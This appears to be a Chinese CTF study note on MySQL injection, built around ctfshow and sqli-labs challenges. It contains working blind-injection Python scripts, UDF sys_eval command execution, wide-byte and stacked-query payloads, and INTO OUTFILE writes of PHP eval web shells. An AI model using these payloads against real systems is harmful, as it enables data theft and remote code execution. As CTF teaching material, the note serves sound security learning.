getshell的具体操作:https://c1oudfl0w0.github.io/blog/2023/05/23/MySQL%E6%B3%A8%E5%85%A5%E5%AE%9E%E7%8E%B0getshell/


UDF注入

参考国光大佬的博客

参考羽师傅的博客

udf 全称为:user defined function,意为用户自定义函数

用户可以添加自定义的新函数到Mysql中,以达到功能的扩充,调用方式与一般系统自带的函数相同,例如 contact()user()version()等函数

写入位置:/usr/lib/MySQL目录/plugin

具体步骤:

  1. 将udf文件放到指定位置(Mysql>5.1放在Mysql根目录的lib/plugin文件夹下),udf文件可以从sqlmap里面扒,也可以在国光的博客里面扒https://www.sqlsec.com/tools/udf.html,一般选 lib_mysqludf_sys_64.so 就可以了

  2. 从udf文件中引入自定义函数(user defined function)

  3. 执行自定义函数

    create function sys_eval returns string soname 'hack.so';
    select sys_eval('whoami');

ctfshow web248

因为get请求有长度限制,所以这里得分段来传

把国光博客里的payload中0x后面的16进制值填到下面脚本的udf变量中就可以了

import requests
url="http://17c12732-3a13-4af4-8750-f614f00d0519.challenge.ctf.show/api/"
udf=""
udfs=[]
for i in range(0,len(udf),5000):
    udfs.append(udf[i:i+5000])
#写入多个文件中
for i in udfs:
    url1=url+f"?id=1';SELECT '{i}' into dumpfile '/tmp/"+str(udfs.index(i))+".txt'%23"
    requests.get(url1)

#合并文件生成so文件
url2=url+"?id=1';SELECT unhex(concat(load_file('/tmp/0.txt'),load_file('/tmp/1.txt'),load_file('/tmp/2.txt'),load_file('/tmp/3.txt'))) into dumpfile '/usr/lib/mariadb/plugin/hack.so'%23"
requests.get(url2)

#创建自定义函数并执行恶意命令
requests.get(url+"?id=1';create function sys_eval returns string soname 'hack.so'%23")
r=requests.get(url+"?id=1';select sys_eval('cat /f*')%23")
print(r.text)

盲注

SQL语句执行查询后,查询数据不能直接回显到前端页面中,我们需要使用一些特殊的方式来判断或尝试,逐位爆破出我们需要的值,这个过程称为盲注

布尔盲注

适用于页面有回显,可以判断查询是否成功的情况

相关函数

  • if函数

    在 MySQL 中,IF() 是一个条件函数,用于根据给定的条件返回不同的值

    IF(condition, true_value, false_value)

    condition: 一个表达式,返回 TRUE 或 FALSE

    true_value: 如果 condition为 TRUE 时返回的值

    false_value: 如果 condition为 FALSE 时返回的值

  • substr / substring 函数

    字符串处理函数,用于从指定字符串中提取部分子字符串。它通过指定起始位置和长度来完成提取操作

    SUBSTR(string, position, length)

    string:要操作的字符串。

    position:开始提取的字符位置(索引从 1 开始)。可以是正数或负数

    length(可选):要提取的子字符串的长度。如果省略,则从起始位置提取到字符串末尾

    类似的函数:left()right()mid()

  • length 函数

    字符串函数,用于计算字符串的长度(以字节为单位)

    LENGTH(string)

判断回显

1'and if(1>0,1,0)#
1'and if(0>1,1,0)#

image-20250416173256122

image-20250416173308510

同或判断:如果过滤了大于号和小于号可以考虑用这个

1'and if(1!=!1,1,0)#

同或逻辑:1 !=! 1 == 11 !=! 0 == 00 !=! 1 == 00 !=! 0 == 1

回显到前端一般会体现为查询成功与查询失败

然后我们要做的是在 if 方法里添加子查询,判断查询的结果是否正确

# 假设数据库名为sql
select if(1,1,0); -- 返回1
select substr(database(),1,1)="s"; -- 返回1
select if(substr(database(),1,1)="s",1,0); -- 所以这个判断语句也返回1
select if(substr(database(),1,1)="a",1,0); -- 返回0
select if(substr(database(),2,1)="q",1,0); -- 返回1

由此,遍历 substr() 的 position 和匹配的字符,可以得到整个字段的内容

可以使用 burpsuite 分别设置两个fuzz点爆破,也可以搓 python 脚本:

import string

chars = string.ascii_lowercase + string.digits + "{}-,"  # abcdefghijklmnopqrstuvwxyz0123456789{}-,

def boolean_blind():
    for i in range(40):
        for c in chars:
            payload = f'select if(substr(database(),{i},1)="{c}",1,0);'
            print(payload)

boolean_blind()

sqli-labs less-8

ctfshow web524

测试发现正常传入 id=1 返回You are in...........,但是 id 过大或为负数时,即查询不到就没有回显

1' 闭合也没有回显

测试是否存在布尔盲注

1'and if(1>0,1,0)--+
-- 返回You are in...........

1'and if(1<0,1,0)--+
-- 无回显

说明闭合方式为 1',且存在查询成功的判断依据可以进行布尔盲注

据此搓一个 python 脚本:

import string
import requests

chars = string.ascii_lowercase + string.digits + "{}-,"  # abcdefghijklmnopqrstuvwxyz0123456789{}-,

def boolean_blind(close_method,url,query,judge):
    result = ""
    for i in range(1,50):
        temp = 0
        for c in chars:
            payload1 = f'and if(substr(database(),{i},1)="{c}",1,0)--+'
            payload2 = f'and if(substr((select GROUP_CONCAT(SCHEMA_NAME) from information_schema.SCHEMATA),{i},1)="{c}",1,0)--+'
            payload3 = f'and if(substr((select GROUP_CONCAT(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1)="{c}",1,0)--+'
            payload4 = f'and if(substr((select GROUP_CONCAT(column_name) from information_schema.columns where table_schema="ctfshow" and table_name="flagjugg"),{i},1)="{c}",1,0)--+'
            payload5 = f'and if(substr((select GROUP_CONCAT(flag423) from ctfshow.flagjugg),{i},1)="{c}",1,0)--+'
            last_payload = close_method + payload5
            send_url = url + "?" +query + "=" + last_payload
            res = requests.get(send_url)
            temp += 1
            if judge in res.text:
                result += c
                print(result)
                temp = 0
                continue
            if temp == len(chars):
                print("End")
                exit()


boolean_blind("1'","http://3d03953b-9cda-476f-8b1d-0a00bce950c2.challenge.ctf.show","id","You are in...........")

更多内容请前往:https://c1oudfl0w0.github.io/blog/2023/05/06/SQL%E5%B8%83%E5%B0%94%E7%9B%B2%E6%B3%A8/


时间盲注

相较于布尔盲注,时间盲注无非是把查询成功的表现变成了sleep

select '1' and if(length(database())>1,sleep(5),1)#

更多内容请前往:https://c1oudfl0w0.github.io/blog/2023/05/10/SQL%E6%97%B6%E9%97%B4%E7%9B%B2%E6%B3%A8/


sqli-labs less-9&10

ctfshow web525&526

测试发现无论输入什么内容都只会回显You are in...........

那只能时间盲注了

构造脚本:

import string
import requests
import time

chars = string.ascii_lowercase + string.digits + "{}-,"  # abcdefghijklmnopqrstuvwxyz0123456789{}-,

def time_blind(close_method,url,query):
    result = ""
    for i in range(1,50):
        temp = 0
        for c in chars:
            payload1 = f'and if(substr(database(),{i},1)="{c}",sleep(1),1)--+'
            payload2 = f'and if(substr((select GROUP_CONCAT(SCHEMA_NAME) from information_schema.SCHEMATA),{i},1)="{c}",sleep(1),1)--+'
            payload3 = f'and if(substr((select GROUP_CONCAT(table_name) from information_schema.tables where table_schema="ctfshow"),{i},1)="{c}",sleep(1),1)--+'
            payload4 = f'and if(substr((select GROUP_CONCAT(column_name) from information_schema.columns where table_schema="ctfshow" and table_name="flagug"),{i},1)="{c}",sleep(1),1)--+'
            payload5 = f'and if(substr((select GROUP_CONCAT(flag4a23) from ctfshow.flagug),{i},1)="{c}",sleep(1),1)--+'
            last_payload = close_method + payload5
            send_url = url + "?" +query + "=" + last_payload
            start_time = time.time()
            res = requests.get(send_url)
            end_time = time.time()
            spend_time = end_time - start_time
            temp += 1
            if spend_time >= 0.5:
                result += c
                print(result)
                temp = 0
                continue
            if temp == len(chars):
                print("End")
                exit()

time_blind("1'","http://46eadf54-e7ea-42be-8e76-b950f134f342.challenge.ctf.show","id")

less 10是双引号闭合


二次注入

已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入

场景:创建用户处具有严格的sql防护,但是用户修改密码处缺少防护,当修改密码处从数据库取出精心构造的用户名时可能导致注入

https://c1oudfl0w0.github.io/blog/2023/10/16/NSSCTF-web-%E5%88%B7%E9%A2%98%E8%AE%B0%E5%BD%951/#%E4%BA%8C%E6%AC%A1%E6%B3%A8%E5%85%A5

sqli-labs less-24

ctfshow web540

image-20250418002654967

直接看 sqli-labs 的源码

创建用户与登录的语句:

$username =  mysql_escape_string($_POST['username']) ;
//...
$sql = "insert into users (username, password) values (\"$username\", \"$pass\")";
//...
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

注册与登录时 username 会经过 mysql_escape_string 函数的过滤,该函数会对危险字符进行转义:

危险字符 转义后
\ \\
' \'
" \"

更新密码的语句:

$username= $_SESSION["username"];

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

可以看到这里没有对 username 做任何处理,username 直接取我们的登录用户名

那么我们的思路:

  • 测试发现 admin 已存在

  • 是单引号闭合,那么注册一个具有注释作用的用户名admin'#

  • 注册后,由于转义,我们的用户名 admin'# 能够完整存入数据库,此时的数据库记录大致如下:

    +----+---------------+------------+
    | id | username      | password   |
    +----+---------------+------------+
    | 20 | admin'#       | 123456     |
    +----+---------------+------------+
  • 登录后提供了修改密码的功能

    image-20250418003538338

    当我们以admin'#尝试修改密码时,实际执行的sql语句是

    UPDATE users SET PASSWORD='233' where username='admin'#' and password='123456'

    此时实际修改的是 admin 账户的密码,登出后以 admin:233 登录 admin

    image-20250418003721063

  • 登录 admin 后进一步利用的话通常是后台功能,但这里只有数据库,所以可以考虑写脚本盲注(


宽字节注入

主要是针对 bypass addslashes 函数的场合

addslashes:为了数据库查询语句等需要在某些字符前加上了反斜线转义。这些字符是单引号(*’)、双引号()、反斜线(\)与 NUL(NULL* 字符)

MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个汉字,对此就有思路来解决\

  • urlencode(\') = %5c%27,如果我们在前面在添加一个 %df,就会形成 %df%5c%27 ,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c 当做是一个汉字,%27 则作为一个单独的符号'在外面

sqli-labs less-32

ctfshow web552

核心waf:

if(isset($_GET['id']))
$id=check_addslashes($_GET['id']);

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
    $string = preg_replace('/\'/i', '\\\'', $string);
    $string = preg_replace('/\"/', "\\\"", $string);                                
    return $string;
}

单纯的加反斜杠,尝试打宽字节注入即可

注意后面的 table_schema='ctfshow' 也会被转义,这里可以采用十六进制编码绕过

payload:

-1%df' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x63746673686f77--+
-- flags
-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x63746673686f77 and table_name=0x666c616773--+
-- id,flag4s
-1%df' union select 1,group_concat(id,0x7e,flag4s),3 from ctfshow.flags--+

堆叠注入

使用;执行多条sql语句

image-20230728174634319

image-20230728174706631

区别:联合查询注入只能执行查询语句,堆叠注入可执行任意语句(增删查改)

题目实战

修改

rename…to…语句:可以重命名改表名,使表名可被直接查询到

alter:修改已知表的列。( 添加:add | 修改:alter,change | 撤销:drop )

type:指定字段的类型,如varchar(100)text

  • 添加:

    alter table "table_name" add "column_name" type;

  • 删除:

    alter table "table_name" drop "column_name" type;

  • 改变数据类型:

    alter table "table_name" alter column "column_name" type;

  • 改列名:

    alter table "table_name" rename "column1" to "column2";


预处理

参考文章

利用字符串定义预处理 SQL (以直角三角形计算为例)

image-20230815171341792

那么同样的,我们可以在预处理语句中构造payload来执行select语句

(以select * from `1919810931114514`为例)

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
  • prepare…from…是预处理语句,会进行编码转换
  • execute用来执行由SQLPrepare创建的SQL语句
  • SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值

Sqlmap一把梭

自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入。目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

参考文章

题目实战

官方文档

提供5种注入方式:

  1. 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
  2. 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
  3. 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
  4. 联合查询注入,在可以使用Union的情况下注入
  5. 堆查询注入,可以同时执行多条语句时的注入

注意:python3.9以上需要自行搜索更改几个模块的名称才能使用sqlmap(对着报错文件全局找模块,请)


insert注入

插入从数据库中获取的信息

查询语句原型:

$sql = "insert into table_name(column_name1,column_name2) value('{$username}','{$password}');";

我们的目标是插入信息的同时要能够回显数据库里的内容,为此我们需要用\'进行转义然后执行其它的语句

image-20230814111657385

image-20230814111728118

ctfshow web237

username=hello\&password=,database());#
# 查表名
username=hello\&password=,(select group_concat(table_name) from information_schema.tables where table_schema=database()));#
# 查字段
username=hello\&password=,(select group_concat(column_name) from information_schema.columns where table_name='flag'));#
# 查flag
username=hello\&password=,(select group_concat(flagass23s3) from flag));#

ctfshow web238

过滤空格包括所有的空格绕过方法,那就用括号闭合来代替(这里仅示例查表名)

password=,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())));#

update注入

利用update修改字段名的功能来注入查询语句,使其字段名能够返回我们需要的信息

题目实战


delete注入

删除语句

$sql = "delete from  ctfshow_user where id = {$id}";

我们虽然不能直接通过这个语句来获取数据库的信息

但是在这个语句中我们可以输入if(2>1,sleep(0.2),1)进行时间盲注

ctfshow web241

from time import sleep
import requests

url = "http://1a2a5437-423f-4c06-9d47-5ac94a1871f2.challenge.ctf.show/api/delete.php"

result = ''

# 爆表名
# payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 爆列名
# payload = "select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'"
# 爆字段值
payload = "select flag from `flag`"

for i in range(1, 50):
    head = 32
    tail = 127

    while head < tail:
        # sleep(0.8)
        mid = (head + tail) >> 1  # 中间指针等于头尾指针相加的一半
        # print(mid)
        data = {
            'id':
            f"if(ascii(substr(({payload}),{i},1))>{mid},sleep(0.01),-1)#",
        }
        try:
            r = requests.post(url, data, timeout=0.2)
            tail = mid
        except:
            head = mid + 1  #sleep导致超时

    if head != 32:
        result += chr(head)
        print(result)
    else:
        break

limit注入

参考p神博客

版本限制(5.0.0-5.6.6)

联合查询法

limit前面无order by

SELECT * from user LIMIT 1,1 union select * from user

procedure analyse()函数

是MySQL提供的一个分析结果集的接口,以帮助提供数据类型优化建议

image-20230814120752261

它会给出这个表上的详细统计信息

报错注入法

payload from p神

procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

时间注入法


finfo文件注入

finfo类

官方文档

其中有方法openfile

finfo_open:也就是finfo::open的别名,这个函数的作用是打开一个文件,通常和finfo::file/finfo_file在一起使用

finfo_file:返回一个文件的信息

<?php
var_dump((new finfo)->file('1.txt'));
// 等价
$file=finfo_open(FILEINFO_NONE);
var_dump(finfo_file($file,'1.txt'));

image-20230815122316952

那么只要我们精心构造上传文件的内容,闭合前面的语句来执行sql创建文件的语句,就能实现写入一句话木马getshell

ctfshow web224

扫出robots.txt,访问/pwdreset.php重置密码为admin,登录进入上传界面

而我们要做的是通过写入一句话木马getshell,而常见的图片后缀都被过滤了,这里需要上传bin文件才能实现我们的目的

关键payload:

');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/1.php';--+

image-20230815123504087

这样直接上传是不会解析执行的,所以我们还需要添加脏字符使其执行

image-20230815124429198

然后就能成功写入一句话木马


file注入

存在into outfile函数上传文件时,如果存在注入点,可以导入一句话或者上传页面

ctfshow web242

原型语句

$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

先看一下into outfile函数有什么参数(图 from Boogipop)

SELECT * INTO OUTFILE '/tmp/result.txt'
FIELDS TERMINATED BY ',' OPTIONALLY ENCLOSED BY '"'
LINES TERMINATED BY '\n'
FROM table_name;

image-20230819164443843

starting by是每行开始,terminated by是每行结束

LINES TERMINATED BY:结束后添加一个语句,也就是字段间的间隔符

image-20230819171334845

OPTIONALLY ENCLOSED BY:要和LINES TERMINATED BY一起使用,将字段用什么包裹起来

image-20230819171550805

到这里我们就知道可以插入一句话木马来实现getshell

filename=1.php' FIELDS TERMINATED BY '<?php eval($_POST["cmd"]);?>'#

image-20230819172200713

image-20230819172257315

.user.ini和短标签绕过

ctfshow web243

过滤php的情况下,就按照文件上传的几个trick来打就行

filename=1.txt' FIELDS TERMINATED BY '<?=eval($_POST["cmd"]);?>'#

因为.user.ini是配置文件,所以我们可以构造;和换行符%0a来注释多余字符

filename=.user.ini' lines starting by';' terminated by '%0aauto_prepend_file=1.txt'# 

quine注入

参考ph0ebus大佬的博客

自产生程序,不接受输入并输出自己的源代码

在sql注入中,就是让输入的sql语句与要输出的一致

要实现输入语句与输出语句一致,那就需要用到replace函数进行重复替换

基本形式

replace(str,编码的间隔符,str)

其中参数str的形式为

replace(间隔符,编码的间隔符,间隔符)

例:间隔符为”.“,编码间隔符为CHAR(46),这样str就是

select REPLACE(".",CHAR(46),".");

image-20230624184640501

构造出来的结果就是

select REPLACE('REPLACE(".",CHAR(46),".")',CHAR(46),'REPLACE(".",CHAR(46),".")');

image-20230624185624959

但是此时可以发现单双引号还没实现一致

这时候就需要使用REPLACEstr的双引号换成单引号,这样最后就不会出现引号不一致的情况了

因此升级版Quine的基本形式,CHAR(34)是双引号,CHAR(39)是单引号

REPLACE(REPLACE('str',CHAR(34),CHAR(39)),编码的间隔符,'str')

升级版str的基本形式

REPLACE(REPLACE("间隔符",CHAR(34),CHAR(39)),编码的间隔符,"间隔符")

先将str里的双引号替换成单引号,再用str替换str里的间隔符

select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');

image-20230624205209275


限制绕过

位数长度不足

使用截断函数

  • substr()函数

substr(string,start,length)

1

  • left()函数

    获得源字符串左边的子串

    left(string,n)

  • right()函数

    获得字符串右边的子串

    right(string,n)

  • mid()函数

    返回字符串的子串(类似substr)

    mid(string,start,length)

  • reverse()函数


输入过滤

  1. 空格:/**/%09%0a%0d%0c+%a0

    以上全部过滤:直接用括号或反引号闭合

    -1'||column_name='flag-1'or(username)='flag

  2. 等号:like

  3. or:||

  4. 单独select: 大写

  5. select…where…:

    • show + datebases / tables / columns from table

    • 将 select * from 列名 进行16进制编码

    • handler:一行一行显示库中内容

      image-20230815205244766

      handler table_name open as `a`;(`a`为新创建的表)
      handler table_name read;读出什么输出什么
      
      handler tablename read first [where username=‘admin’];
      handler `a` read next [where username=‘admin’];[] 中的内容意味着可加可不加
  • 单字段过滤:16进制编码hex(a.username)

  • 过滤payload中的引号:

    unhex()hex()组合绕过

    ‘abc’ 等价于unhex(hex(6e6+382179)); 可以用于绕过大数过滤(大数过滤:/\d{9}|0x[0-9a-f]{9}/i
    具体转换的步骤是:

    1. abc转成16进制是616263
    2. 616263转十进制是6382179
    3. 用科学计数法表示6e6+382179
    4. 套上unhex(hex()),就是unhex(hex(6e6+382179));
  • 过滤数字:

    用别的字符替换数字然后再转换回去

-1'union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','arc'),'2','brc'),'3','crc'),'4','drc'),'5','erc'),'6','frc'),'7','grc'),'8','hrc'),'9','irc'),'0','jrc'),'a' from table_name where username='flag'--+

解密脚本

flag='flag'
#flag表示number
flag=flag.replace('arc','1')
flag=flag.replace('brc','2')
flag=flag.replace('crc','3')
flag=flag.replace('drc','4')
flag=flag.replace('erc','5')
flag=flag.replace('frc','6')
flag=flag.replace('grc','7')
flag=flag.replace('hrc','8')
flag=flag.replace('irc','9')
flag=flag.replace('jrc','0')
print(flag)

过滤ASCll码/[\x00-\x7f]/i

文件包含

' union select 1,group_concat(password) from table_name into outfile '/var/www/html/1.txt'-- -
将flag写入1.txt文件中

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile'/var/www/html/1.php
写入一句话木马(需用base64编码+from_base64() )/var/www/html/api/config.php找到mysql的root的密码

防御

MySQL预处理